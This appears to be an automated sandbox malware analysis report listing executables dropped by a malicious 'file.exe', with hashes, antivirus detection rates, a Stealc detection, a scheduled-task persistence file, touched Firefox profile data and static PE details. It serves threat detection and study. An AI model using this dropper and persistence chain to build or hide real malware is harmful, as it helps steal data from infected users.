Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 41%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0.......-...@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...hzcsxlrx..........................@...hrhicodq......0......h-.............@....taggant.0....0.."...l-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2125824
Entropy (8bit):	7.960420866019488
Encrypted:	false
SSDEEP:	24576:zrT8VtzaqVLeT2wwBr5JeE6r27aPASXg34cL5yA6TaPeDH5OcEjOb3drulcVwSrD:zcVBFeQaWYQjLk+eDZKObXhKtO+s5
MD5:	DB6B1432E0641F3EC061401D5547D4A4
SHA1:	B037DE812F635BE7E0CE633785CB356F04F36301
SHA-256:	9112846B3C122FD59A75C3B60E1821E81E90700948DBFF182AC8F38263FC78DC
SHA-512:	9E581521CB120BAC3410B13A3F53C0F4A852A3EDDD2468837AFB88574D2FEB1C3B60D76292A4E0AD040E8B0BD448DB60652577C771D2247E7CC0C835D6F25A97
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 46%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......pr...........@...........................r....... ...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... ..*.........................@...ksqqhkwn......X.....................@...kdggtfho.....`r......J .............@....taggant.0...pr.."...N .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.58467072504627
Encrypted:	false
SSDEEP:	12288:rqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TJ:rqDEvCTbMWu7rQYlBQcBiT6rprG8abJ
MD5:	388A4D9E5A5EC3446324F1DCFEE1F8DB
SHA1:	4DBF48C4BB5B82DA95778263D0FA897CF77909AA
SHA-256:	10582062C33D5D8478731C97DE4F2882F25332A603D048F4ADA7AAB4AF0730E4
SHA-512:	8954E1CA993FFAF83BDD018534EEAC2E815B5956D39C9FFE29D9728521DB06BEC306E67C05E8C54404282D8D1AAA9ACFE2418DB7478D0F04500E28FED4143EFB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L....."g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002599001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002600001\test.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	334848
Entropy (8bit):	6.7615707075
Encrypted:	false
SSDEEP:	6144:+tWC7xvtddofKKrybbuMY88Jc/oZ3ipoOvYcOCL7E6tt7t2lp4:+RZtddofKKrzHPJ3ii0bL7E6t7S2
MD5:	E2F4A20BF1778DDB6396F48F6F4A9A32
SHA1:	75D402E0A8645B0A33F93ED6A66F76FE22496987
SHA-256:	A76920B863FF403F08436950963F30333E7B9297D36F2CEC8E26BD94D66C8F1A
SHA-512:	13FD064E04D302471AB5AD28ED9E3A07EAD4429046054AE4F7931BD2D24678857E0AE3A48AB0888DA313E9BA320D3E73FE358CFC8C82796FCEBA7B31440C4126
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L......g.................D........................@.......................................@.................................R....................................K...................................................................................text....B.......D.................. ..`.rdata..'%...`...&...H..............@..@.data............b...n..............@....reloc...K.......L..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1886208
Entropy (8bit):	7.951304938949106
Encrypted:	false
SSDEEP:	49152:jLdwQB4Bc6rcvy0sovjAd417rRR2IgC/mUUtQmpJMl:ndtaB3NHovj9RYIgC+UVmpOl
MD5:	E8532BD886B3EA7DB6B1634D2D07BE22
SHA1:	239E0196E35D97D94C0FCED8083D220A1E01FDAD
SHA-256:	F49C9FCBE93C376E83CC9DBCFEB45776C02537C010E0B495B95C98AD68555F52
SHA-512:	5F1A6CC47F9ED44B7EB3911947CFC754D67633117442697268CF98C1F5CBF2FA3F0E5B01890AF808B5D907EDB0538936F6B9035961B19DD1F2B97DBF2E7DE524
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PK...........@...........................K......<....@.................................W...k...........................L<K..............................;K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...cicynwpg......1.....................@...whvjoyjd.....@K.....................@....taggant.0...PK.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2895872
Entropy (8bit):	6.434394440787402
Encrypted:	false
SSDEEP:	24576:JGSAbMOPNUZ1TKslXzQJ5rgBqrga48SojEAFEtsS9zboZPENLTNcLHI5rePBN9WI:QZCZ/Y5rR+zHpar9WsvSZGdoF
MD5:	6EB4B86646866EA6FA65E78F6D15E44A
SHA1:	A264D79B70A7B36683F55C4CFFA4E6E48A16423B
SHA-256:	FE3F5B9433609A632DE2973474D8176076BEC73548C272B1E182BC79F1379B1A
SHA-512:	53C08D7D3A4250AB472C0C06B0D91D9E223B5E4F92E977CF64D98A5B102AF38D3FB902A9EF1695C862E22DB489297021D6D3B53C357573427C2DDDDFEF88D90C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............,.. ...`....@.. ........................,.......,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...fbnfxrsu..+.......+..:..............@...rjcetyim. ....,.......,.............@....taggant.@....,.."....,.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Q5PCC4NA5LRKC8PQDTEQRA.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2895872
Entropy (8bit):	6.434394440787402
Encrypted:	false
SSDEEP:	24576:JGSAbMOPNUZ1TKslXzQJ5rgBqrga48SojEAFEtsS9zboZPENLTNcLHI5rePBN9WI:QZCZ/Y5rR+zHpar9WsvSZGdoF
MD5:	6EB4B86646866EA6FA65E78F6D15E44A
SHA1:	A264D79B70A7B36683F55C4CFFA4E6E48A16423B
SHA-256:	FE3F5B9433609A632DE2973474D8176076BEC73548C272B1E182BC79F1379B1A
SHA-512:	53C08D7D3A4250AB472C0C06B0D91D9E223B5E4F92E977CF64D98A5B102AF38D3FB902A9EF1695C862E22DB489297021D6D3B53C357573427C2DDDDFEF88D90C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............,.. ...`....@.. ........................,.......,...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...fbnfxrsu..+.......+..:..............@...rjcetyim. ....,.......,.............@....taggant.@....,.."....,.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1886208
Entropy (8bit):	7.951304938949106
Encrypted:	false
SSDEEP:	49152:jLdwQB4Bc6rcvy0sovjAd417rRR2IgC/mUUtQmpJMl:ndtaB3NHovj9RYIgC+UVmpOl
MD5:	E8532BD886B3EA7DB6B1634D2D07BE22
SHA1:	239E0196E35D97D94C0FCED8083D220A1E01FDAD
SHA-256:	F49C9FCBE93C376E83CC9DBCFEB45776C02537C010E0B495B95C98AD68555F52
SHA-512:	5F1A6CC47F9ED44B7EB3911947CFC754D67633117442697268CF98C1F5CBF2FA3F0E5B01890AF808B5D907EDB0538936F6B9035961B19DD1F2B97DBF2E7DE524
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PK...........@...........................K......<....@.................................W...k...........................L<K..............................;K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...cicynwpg......1.....................@...whvjoyjd.....@K.....................@....taggant.0...PK.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035822017202226504
Encrypted:	false
SSDEEP:	3:GtlstFLiMjFuIJylstFLiMjFuIJX/T89//alEl:GtWtgMjcIJyWtgMjcIJXL89XuM
MD5:	B000FE32B7ECEE652D868045CE4FBC48
SHA1:	1A9A9D2EB6C8BC4E1A5637493C721A83A28406E7
SHA-256:	9DAD39E33DB78CF67DBE223D83AB2C9E7D196D64BA88DE9EC10B89F7A6F47D14
SHA-512:	BADCBB6E0EA8AD65B5401D0E34EB5381733C43ED334B7DDF9EF696DD405CFC469AB8CEDFFC76B3729C9665B963D382AB87CFF4AE5735C9DA2C3F22D9DE453B02
Malicious:	false
Preview:	..-.........................e7tm..K>.....O.....-.........................e7tm..K>.....O...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.039628765433238615
Encrypted:	false
SSDEEP:	3:Ol1EhJQglfebmg5svtiwl8rEXsxdwhml8XW3R2:KmSUtll8dMhm93w
MD5:	A4996DF3646E9A2B3AAEFE9C6AE0319B
SHA1:	38AB8DD9439DE6E4D28589454524E0D201A1C7E0
SHA-256:	7B6BAF294109CFF5B0252E26E58D64185C021752C1A002CD581BFA3767EFA161
SHA-512:	8438B5EDE4767F20674C54011A667267AF102C8231DCC69DDECBAE75010CCE67DBE7C3DC59F3CAA5F3FF49A1A8AD1F12D455AB11CD49D1F4F52F29E98769D496
Malicious:	false
Preview:	7....-............K>......z.\w..........K>......mt7e................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9884
Entropy (8bit):	5.515039182818032
Encrypted:	false
SSDEEP:	192:lvnSRkGYbBp6WqUCaXr6VqkHNBw8dknSl:YeJqUWJPwZ0
MD5:	100EE43CC7DA1EC85E764901749BFDAB
SHA1:	3DA7AA0453E00C27B19B89443D828B6DA3D7C217
SHA-256:	E88C2A2549584E03B61558D516644D092DEF4976218D9FDCC8ED4F30AF18B17A
SHA-512:	AD8A87A8BF945A3B743913381AAF54741BAFBF1119A783D1A2A30E674B68479150EF5848CD09A7F8975218ED7059D908B837C8D952CC377A7CAFAECA3AB18E0A
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9884
Entropy (8bit):	5.515039182818032
Encrypted:	false
SSDEEP:	192:lvnSRkGYbBp6WqUCaXr6VqkHNBw8dknSl:YeJqUWJPwZ0
MD5:	100EE43CC7DA1EC85E764901749BFDAB
SHA1:	3DA7AA0453E00C27B19B89443D828B6DA3D7C217
SHA-256:	E88C2A2549584E03B61558D516644D092DEF4976218D9FDCC8ED4F30AF18B17A
SHA-512:	AD8A87A8BF945A3B743913381AAF54741BAFBF1119A783D1A2A30E674B68479150EF5848CD09A7F8975218ED7059D908B837C8D952CC377A7CAFAECA3AB18E0A
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\protections.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 1, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.04062825861060003
Encrypted:	false
SSDEEP:	3:lSGBl/l/zl9l/AltllPltlnKollzvulJOlzALRWemFxu7TuRjBFbrl58lcV+wgn8:ltBl/lqN1K4BEJYqWvLue3FMOrMZ0l
MD5:	60C09456D6362C6FBED48C69AA342C3C
SHA1:	58B6E22DAA48C75958B429F662DEC1C011AE74D3
SHA-256:	FE1A432A2CD096B7EEA870D46D07F5197E34B4D10666E6E1C357FAA3F2FE2389
SHA-512:	936DBC887276EF07732783B50EAFE450A8598B0492B8F6C838B337EF3E8A6EA595E7C7A2FA4B3E881887FAAE2D207B953A4C65ED8C964D93118E00D3E03882BD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......x..x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	8B40B1534FF0F4B533AF767EB5639A05
SHA1:	63EDB539EA39AD09D701A36B535C4C087AE08CC9
SHA-256:	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
SHA-512:	54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.4484766269302436
Encrypted:	false
SSDEEP:	6:BwlVIDZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lbl0lEt0:2P0lvJQ1CGAFMkXd8kX+VbeEt0
MD5:	5EF34DC76E2ED6C28EDCF9AAD0D909FE
SHA1:	7F688978885ACA1E4542BC5530F7D4442D0A6419
SHA-256:	D109E524B4CAF46F34A72E4BFCBBBF43430C6181A015366704EF81D55678093E
SHA-512:	A1602F3D40FA727F08DF7F66A7378D2AE1A7A5D5A5FEB9AF1E5B5C79D4158B8DF70EDD7BEAE56C39C421AD57C0A9CE57DFC6F923726AA7B304A0FAE84A920341
Malicious:	false
Preview:	.......G<.aM..3p{.s.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.555545838027719
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'985'472 bytes
MD5:	de54690c9f171f91b13960453ab60fd3
SHA1:	670b2988eca93c82e2639960fd638ee5d56f34d6
SHA256:	51961e496e66b300950023c9aba682a5232ade37926db00f10e58df4f46eb1cd
SHA512:	3b14a96e738433b089d3923f7d89f33734ea4a7e004cea56be60845c798a693a1417a022cfa5a3725a42c35625aaec6e60b1ecf5260a3a7cf6935a62dd1ce9ca
SSDEEP:	24576:ua8fNuypENAZPwRPSZc2cIku6VCMWRd1s+yIByLG44AFvqWDBE9glmJpN/zsaGnF:uxsuE7sWVwj5H6DqDs19jwODJz
TLSH:	A1D55B92B949B2CFD45A937E4537ED825C6D53B94B2009C3A86C74BAFD73CC016B6C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0.......-...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB67919F70Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
